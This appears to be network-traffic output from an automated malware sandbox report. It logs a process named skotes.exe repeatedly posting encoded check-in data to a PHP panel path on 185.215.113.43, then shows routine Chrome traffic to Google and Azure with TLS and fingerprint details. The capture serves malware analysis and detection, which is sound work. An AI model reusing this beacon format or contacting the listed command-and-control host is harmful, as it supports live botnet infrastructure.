Nov 15, 2024 16:22:34.372071981 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 15, 2024 16:22:35.301009893 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:22:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.5	59692	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:22:36.919698000 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 15, 2024 16:22:37.817274094 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:22:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.5	59693	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:22:39.340341091 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 15, 2024 16:22:40.258757114 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:22:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.5	59694	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:22:41.890353918 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 15, 2024 16:22:42.794002056 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:22:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.5	59695	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:22:44.310863018 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 15, 2024 16:22:45.276248932 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:22:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.5	59696	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:22:46.888624907 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 15, 2024 16:22:47.793262005 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:22:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.5	59697	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:22:49.307970047 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 15, 2024 16:22:50.261657000 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:22:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

HTTPS Connections

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
Nov 15, 2024 16:16:49.726048946 CET	13.107.246.45	443	192.168.2.5	49984	CN=*.azureedge.net, O=Microsoft Corporation, L=Redmond, ST=WA, C=US CN=Microsoft Azure RSA TLS Issuing CA 04, O=Microsoft Corporation, C=US CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=Microsoft Azure RSA TLS Issuing CA 04, O=Microsoft Corporation, C=US CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US	Thu Sep 19 17:30:52 CEST 2024 Thu Jun 08 02:00:00 CEST 2023 Thu Aug 01 14:00:00 CEST 2013	Sun Sep 14 17:30:52 CEST 2025 Wed Aug 26 01:59:59 CEST 2026 Fri Jan 15 13:00:00 CET 2038	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-5-10-11-13-35-16-23-65281,29-23-24,0	28a2c9bd18a11de089ef85a160da29e4
					CN=Microsoft Azure RSA TLS Issuing CA 04, O=Microsoft Corporation, C=US	CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US	Thu Jun 08 02:00:00 CEST 2023	Wed Aug 26 01:59:59 CEST 2026
					CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US	Thu Aug 01 14:00:00 CEST 2013	Fri Jan 15 13:00:00 CET 2038
Nov 15, 2024 16:16:50.801877975 CET	13.107.246.45	443	192.168.2.5	49989	CN=*.azureedge.net, O=Microsoft Corporation, L=Redmond, ST=WA, C=US CN=Microsoft Azure RSA TLS Issuing CA 04, O=Microsoft Corporation, C=US CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=Microsoft Azure RSA TLS Issuing CA 04, O=Microsoft Corporation, C=US CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US	Thu Sep 19 17:30:52 CEST 2024 Thu Jun 08 02:00:00 CEST 2023 Thu Aug 01 14:00:00 CEST 2013	Sun Sep 14 17:30:52 CEST 2025 Wed Aug 26 01:59:59 CEST 2026 Fri Jan 15 13:00:00 CET 2038	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-5-10-11-13-35-16-23-65281,29-23-24,0	28a2c9bd18a11de089ef85a160da29e4
					CN=Microsoft Azure RSA TLS Issuing CA 04, O=Microsoft Corporation, C=US	CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US	Thu Jun 08 02:00:00 CEST 2023	Wed Aug 26 01:59:59 CEST 2026
					CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US	Thu Aug 01 14:00:00 CEST 2013	Fri Jan 15 13:00:00 CET 2038

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49708	142.250.186.164	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:12 UTC	623	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCI/KzQEIucrNAQi/0c0BCIrTzQEI0NbNAQio2M0BCPnA1BUYj87NARi60s0BGMLYzQEY642lFw== Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-15 15:16:12 UTC	1266	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:12 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-3R2HJkLujFKfWPtE9U6VcA' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-15 15:16:12 UTC	112	IN	Data Raw: 64 30 62 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 64 65 74 72 6f 69 74 20 6c 69 6f 6e 73 22 2c 22 32 20 68 61 6e 64 73 20 74 61 74 65 20 6d 63 72 61 65 20 6d 75 73 69 63 20 76 69 64 65 6f 22 2c 22 61 64 76 61 6e 63 65 20 61 75 74 6f 20 70 61 72 74 73 20 63 6c 6f 73 69 6e 67 20 73 74 6f 72 65 73 22 2c 22 74 72 6f 70 69 63 61 6c 20 73 74 Data Ascii: d0b)]}'["",["detroit lions","2 hands tate mcrae music video","advance auto parts closing stores","tropical st
2024-11-15 15:16:12 UTC	1378	IN	Data Raw: 6f 72 6d 20 68 75 72 72 69 63 61 6e 65 20 73 61 72 61 22 2c 22 61 75 72 6f 72 61 20 62 6f 72 65 61 6c 69 73 20 6e 6f 72 74 68 65 72 6e 20 6c 69 67 68 74 73 20 66 6f 72 65 63 61 73 74 22 2c 22 61 6c 69 65 6e 73 22 2c 22 61 6c 69 65 6e 73 22 2c 22 61 6c 69 65 6e 73 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 6d 4e 6f 5a 58 4d 5c 75 30 30 33 64 22 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 64 65 74 61 69 6c 22 3a 5b Data Ascii: orm hurricane sara","aurora borealis northern lights forecast","aliens","aliens","aliens"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[
2024-11-15 15:16:12 UTC	1378	IN	Data Raw: 6b 4a 68 56 6c 68 49 52 44 42 45 53 56 56 71 65 56 56 4d 56 6b 34 30 55 56 67 34 63 31 6f 72 64 56 46 49 59 57 5a 5a 4c 30 52 4a 65 44 4a 42 4d 6b 5a 69 4b 32 31 56 63 44 68 4c 59 7a 59 32 54 54 64 33 64 47 39 72 4e 33 52 32 61 33 45 35 5a 32 4e 42 4e 6c 51 32 4b 31 68 55 4e 57 46 6f 54 6e 64 6b 52 45 4a 32 4d 55 56 48 4e 6d 39 49 5a 43 74 4e 63 33 64 71 5a 33 4d 35 57 6a 52 52 54 6d 46 48 55 7a 42 6f 56 54 56 6a 55 48 5a 56 5a 44 42 6f 4e 54 6c 68 62 7a 4e 76 4e 6e 56 53 59 69 39 77 59 6a 68 30 54 54 5a 31 56 32 70 43 54 31 64 73 61 44 68 61 62 6b 45 32 4d 6b 77 32 57 45 64 33 62 6c 52 47 59 32 5a 53 59 56 59 7a 5a 57 77 30 4c 7a 52 78 52 30 31 68 4d 56 5a 78 61 44 41 72 56 47 31 76 4d 69 74 4e 54 55 35 43 4e 55 31 5a 53 47 4e 58 64 6b 4e 53 53 43 39 50 Data Ascii: kJhVlhIRDBESVVqeVVMVk40UVg4c1ordVFIYWZZL0RJeDJBMkZiK21VcDhLYzY2TTd3dG9rN3R2a3E5Z2NBNlQ2K1hUNWFoTndkREJ2MUVHNm9IZCtNc3dqZ3M5WjRRTmFHUzBoVTVjUHZVZDBoNTlhbzNvNnVSYi9wYjh0TTZ1V2pCT1dsaDhabkE2Mkw2WEd3blRGY2ZSYVYzZWw0LzRxR01hMVZxaDArVG1vMitNTU5CNU1ZSGNXdkNSSC9P
2024-11-15 15:16:12 UTC	478	IN	Data Raw: 42 51 56 70 42 51 55 46 45 51 56 46 46 51 6b 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 55 56 43 55 56 6c 45 51 57 64 6d 4c 33 68 42 51 58 70 46 51 55 46 44 51 56 46 4a 52 6b 46 6e 55 55 56 43 55 56 46 45 51 55 46 42 51 55 46 42 51 55 4a 42 5a 30 31 46 52 56 46 42 52 6b 56 70 52 58 68 46 4d 45 56 48 52 6b 5a 47 61 45 6c 71 53 6e 68 6e 55 6c 56 71 64 32 52 49 64 31 4a 4b 52 32 68 7a 55 31 4a 44 55 53 38 76 52 55 46 43 61 30 4a 42 55 55 56 42 51 58 64 46 51 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 55 55 52 42 55 55 6c 47 51 56 41 76 52 55 46 44 51 56 4a 42 51 55 6c 45 51 56 46 42 51 30 46 6e 54 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 52 55 4e 42 51 55 31 6f 52 56 46 52 65 46 56 58 52 56 4e 46 65 55 77 76 4d 6d 64 42 54 55 Data Ascii: BQVpBQUFEQVFFQkFBQUFBQUFBQUFBQUFBQUVCUVlEQWdmL3hBQXpFQUFDQVFJRkFnUUVCUVFEQUFBQUFBQUJBZ01FRVFBRkVpRXhFMEVHRkZGaElqSnhnUlVqd2RId1JKR2hzU1JDUS8vRUFCa0JBUUVBQXdFQUFBQUFBQUFBQUFBQUFBUURBUUlGQVAvRUFDQVJBQUlEQVFBQ0FnTUFBQUFBQUFBQUFBRUNBQU1oRVFReFVXRVNFeUwvMmdBTU
2024-11-15 15:16:12 UTC	90	IN	Data Raw: 35 34 0d 0a 45 5a 33 70 61 4e 6b 68 56 5a 6b 31 5a 5a 46 64 54 52 33 51 77 63 45 56 50 62 6b 67 34 4d 6e 4a 31 59 6c 6c 45 62 48 4a 75 59 58 52 61 62 6d 68 45 65 47 35 5a 63 55 52 69 59 6a 46 32 61 47 35 55 57 6a 46 45 56 30 6c 57 62 57 64 71 57 6e 6c 32 4c 30 46 0d 0a Data Ascii: 54EZ3paNkhVZk1ZZFdTR3QwcEVPbkg4MnJ1YllEbHJuYXRabmhEeG5ZcURiYjF2aG5UWjFEV0lWbWdqWnl2L0F
2024-11-15 15:16:12 UTC	1378	IN	Data Raw: 32 32 62 61 0d 0a 4b 64 48 42 68 4d 54 6c 31 5a 57 5a 30 61 6b 64 32 5a 31 5a 78 59 32 56 59 61 6b 6c 61 61 47 51 79 53 58 52 71 65 45 56 72 64 56 6c 53 52 54 6c 53 56 55 4e 78 63 55 52 47 52 57 68 57 59 69 39 73 5a 32 35 6d 4e 7a 52 48 5a 57 68 73 4e 55 74 75 52 48 4a 4a 53 55 74 4f 59 54 68 48 63 47 59 34 4d 46 67 32 57 58 52 7a 56 47 49 78 65 48 42 75 4d 48 64 4e 63 48 41 32 56 55 46 75 62 48 70 69 57 6c 49 72 4b 30 35 44 64 6d 5a 6a 63 30 67 30 5a 55 78 4f 57 57 4e 77 65 6c 42 51 51 58 52 51 55 32 5a 75 55 32 73 79 51 57 52 30 62 45 46 47 65 57 4e 4b 63 33 68 35 53 6a 68 32 62 6d 46 75 63 55 68 59 63 55 78 35 55 6e 68 71 4d 44 64 33 4d 56 41 31 54 45 30 32 59 58 4a 77 4d 55 46 59 63 55 34 78 56 6d 4a 5a 4d 6b 74 72 52 7a 4d 35 4e 7a 4a 34 53 53 74 50 Data Ascii: 22baKdHBhMTl1ZWZ0akd2Z1ZxY2VYaklaaGQySXRqeEVrdVlSRTlSVUNxcURGRWhWYi9sZ25mNzRHZWhsNUtuRHJJSUtOYThHcGY4MFg2WXRzVGIxeHBuMHdNcHA2VUFubHpiWlIrK05DdmZjc0g0ZUxOWWNwelBQQXRQU2ZuU2syQWR0bEFGeWNKc3h5Sjh2bmFucUhYcUx5UnhqMDd3MVA1TE02YXJwMUFYcU4xVmJZMktrRzM5NzJ4SStP
2024-11-15 15:16:12 UTC	1378	IN	Data Raw: 4a 4e 47 78 52 63 58 4a 6f 65 6b 4e 52 63 44 46 4d 63 56 56 42 4b 79 38 32 59 7a 68 59 61 58 42 4c 5a 58 41 34 5a 43 74 4f 57 55 74 6c 56 30 5a 55 55 31 56 46 53 6d 78 78 52 6d 6f 7a 57 46 4e 51 61 55 6c 43 53 47 52 70 56 6c 67 78 4c 33 52 71 61 6b 51 35 62 47 78 76 53 6a 6c 44 5a 46 70 74 55 33 56 76 4e 55 39 4e 4d 57 78 70 63 6d 5a 44 4d 6c 68 34 4d 45 5a 78 5a 7a 42 6a 61 33 70 6b 56 6d 4a 46 54 58 70 32 59 7a 6b 33 4d 7a 6c 71 61 46 52 4d 56 46 52 55 56 55 64 57 5a 31 4a 36 54 46 56 56 61 58 6c 79 53 6a 46 46 4d 47 39 42 4d 47 68 5a 52 55 68 72 4f 44 49 30 4d 6e 52 70 5a 48 42 6d 55 44 42 4f 57 69 74 4b 56 54 42 4e 63 56 4d 77 61 32 6c 7a 4f 47 64 6f 54 32 31 47 61 57 56 48 4d 6a 49 33 61 58 67 72 62 55 78 79 53 57 5a 48 5a 45 70 56 52 30 39 51 65 45 Data Ascii: JNGxRcXJoekNRcDFMcVVBKy82YzhYaXBLZXA4ZCtOWUtlV0ZUU1VFSmxxRmozWFNQaUlCSGRpVlgxL3RqakQ5bGxvSjlDZFptU3VvNU9NMWxpcmZDMlh4MEZxZzBja3pkVmJFTXp2Yzk3MzlqaFRMVFRUVUdWZ1J6TFVVaXlySjFFMG9BMGhZRUhrODI0MnRpZHBmUDBOWitKVTBNcVMwa2lzOGdoT21GaWVHMjI3aXgrbUxySWZHZEpVR09QeE
2024-11-15 15:16:12 UTC	1378	IN	Data Raw: 51 55 56 44 52 56 4e 46 55 30 56 36 52 55 52 52 56 6b 5a 6f 5a 31 70 49 51 6a 68 6d 4c 32 46 42 51 58 64 45 51 56 46 42 51 30 56 52 54 56 4a 42 52 44 68 42 65 56 68 42 51 58 6c 55 61 6c 56 6e 64 57 6b 35 5a 33 46 5a 59 6d 4a 6a 52 6e 4a 4b 62 33 42 4b 52 32 70 53 64 54 5a 57 54 57 4a 50 55 6d 64 46 4e 54 68 6e 56 44 42 50 4b 30 35 30 55 58 4a 34 52 46 42 59 4d 55 55 78 53 6b 63 34 59 30 56 72 61 47 52 46 59 30 52 4c 4e 54 4e 34 64 44 56 49 54 31 42 55 57 45 64 68 62 6b 78 6a 4d 44 5a 6a 56 6e 6f 35 51 54 42 4d 64 6d 70 50 4b 33 42 70 55 46 4a 31 53 6e 46 61 63 6b 6f 35 61 57 78 58 59 31 52 79 56 55 35 4e 61 6b 6c 70 62 46 52 73 52 6c 56 42 61 32 35 4a 4e 57 52 42 5a 46 59 32 5a 57 70 72 5a 57 46 4f 57 54 51 79 5a 48 6c 33 4e 46 5a 56 57 6b 70 50 64 55 78 Data Ascii: QUVDRVNFU0V6RURRVkZoZ1pIQjhmL2FBQXdEQVFBQ0VRTVJBRDhBeVhBQXlUalVndWk5Z3FZYmJjRnJKb3BKR2pSdTZWTWJPUmdFNThnVDBPK050UXJ4RFBYMUUxSkc4Y0VraGRFY0RLNTN4dDVIT1BUWEdhbkxjMDZjVno5QTBMdmpPK3BpUFJ1SnFacko5aWxXY1RyVU5NaklpbFRsRlVBa25JNWRBZFY2ZWprZWFOWTQyZHl3NFZVWkpPdUx
2024-11-15 15:16:12 UTC	1378	IN	Data Raw: 52 70 54 57 64 36 64 31 6b 31 5a 6b 68 55 4b 79 74 4f 59 57 52 53 53 55 31 4b 53 6b 78 4a 64 6c 68 73 4d 32 70 31 59 33 4a 51 54 58 5a 6b 62 48 64 49 56 6d 56 31 52 47 73 31 4b 32 4e 68 61 47 49 32 52 32 45 33 56 69 74 61 53 45 31 61 62 57 5a 6f 52 48 52 71 64 30 74 31 4e 56 6b 35 54 31 6c 48 4d 79 39 46 61 6d 35 76 4d 31 55 35 62 6e 46 74 63 48 4a 6f 54 46 64 54 4f 54 64 57 55 31 6c 6c 56 58 46 77 4e 45 6c 33 5a 56 46 42 4e 6d 73 33 4e 46 42 59 62 55 35 4e 52 6c 42 69 59 57 56 73 61 45 5a 49 55 6e 68 47 4e 32 70 56 55 55 5a 47 56 55 56 45 61 45 4a 56 62 6b 39 4f 4b 32 35 4d 53 55 39 45 61 6a 5a 30 4f 45 5a 30 54 56 4e 52 62 7a 6c 7a 4e 6e 42 48 53 6d 6c 6e 52 46 4a 56 63 55 6c 42 51 57 56 69 51 54 55 30 56 6b 6f 34 4f 58 56 4a 4b 31 46 42 4f 44 6c 33 52 Data Ascii: RpTWd6d1k1ZkhUKytOYWRSSU1KSkxJdlhsM2p1Y3JQTXZkbHdIVmV1RGs1K2NhaGI2R2E3VitaSE1abWZoRHRqd0t1NVk5T1lHMy9Fam5vM1U5bnFtcHJoTFdTOTdWU1llVXFwNEl3ZVFBNms3NFBYbU5NRlBiYWVsaEZIUnhGN2pVUUZGVUVEaEJVbk9OK25MSU9EajZ0OEZ0TVNRbzlzNnBHSmlnRFJVcUlBQWViQTU0Vko4OXVJK1FBODl3R
2024-11-15 15:16:12 UTC	1378	IN	Data Raw: 42 61 30 64 43 64 32 64 49 51 6d 64 72 53 55 4a 33 5a 30 74 44 5a 32 74 4d 52 46 4a 5a 55 45 52 52 64 30 31 45 55 6e 4e 56 52 6c 4a 42 56 30 6c 43 4d 47 6c 4a 61 55 46 6b 53 48 67 34 61 30 74 45 55 58 4e 4b 51 31 6c 34 53 6e 67 34 5a 6b 78 55 4d 48 52 4e 56 46 55 7a 54 32 70 76 4e 6b 6c 35 63 79 39 53 52 44 67 30 55 58 70 52 4e 55 39 71 59 30 4a 44 5a 32 39 4c 52 46 46 33 54 6b 64 6e 4f 46 42 48 61 6d 4e 73 53 48 6c 56 4d 30 35 36 59 7a 4e 4f 65 6d 4d 7a 54 6e 70 6a 4d 30 35 36 59 7a 4e 4f 65 6d 4d 7a 54 6e 70 6a 4d 30 35 36 59 7a 4e 4f 65 6d 4d 7a 54 6e 70 6a 4d 30 35 36 59 7a 4e 4f 65 6d 4d 7a 54 6e 70 6a 4d 30 35 36 59 7a 4e 4f 65 6d 4d 7a 54 6e 70 6a 4d 30 35 36 59 7a 4e 4f 4c 79 39 42 51 55 4a 46 53 55 46 46 51 55 46 52 51 55 31 43 53 57 64 42 51 30 Data Ascii: Ba0dCd2dIQmdrSUJ3Z0tDZ2tMRFJZUERRd01EUnNVRlJBV0lCMGlJaUFkSHg4a0tEUXNKQ1l4Sng4ZkxUMHRNVFUzT2pvNkl5cy9SRDg0UXpRNU9qY0JDZ29LRFF3TkdnOFBHamNsSHlVM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOLy9BQUJFSUFFQUFRQU1CSWdBQ0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49709	142.250.186.164	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
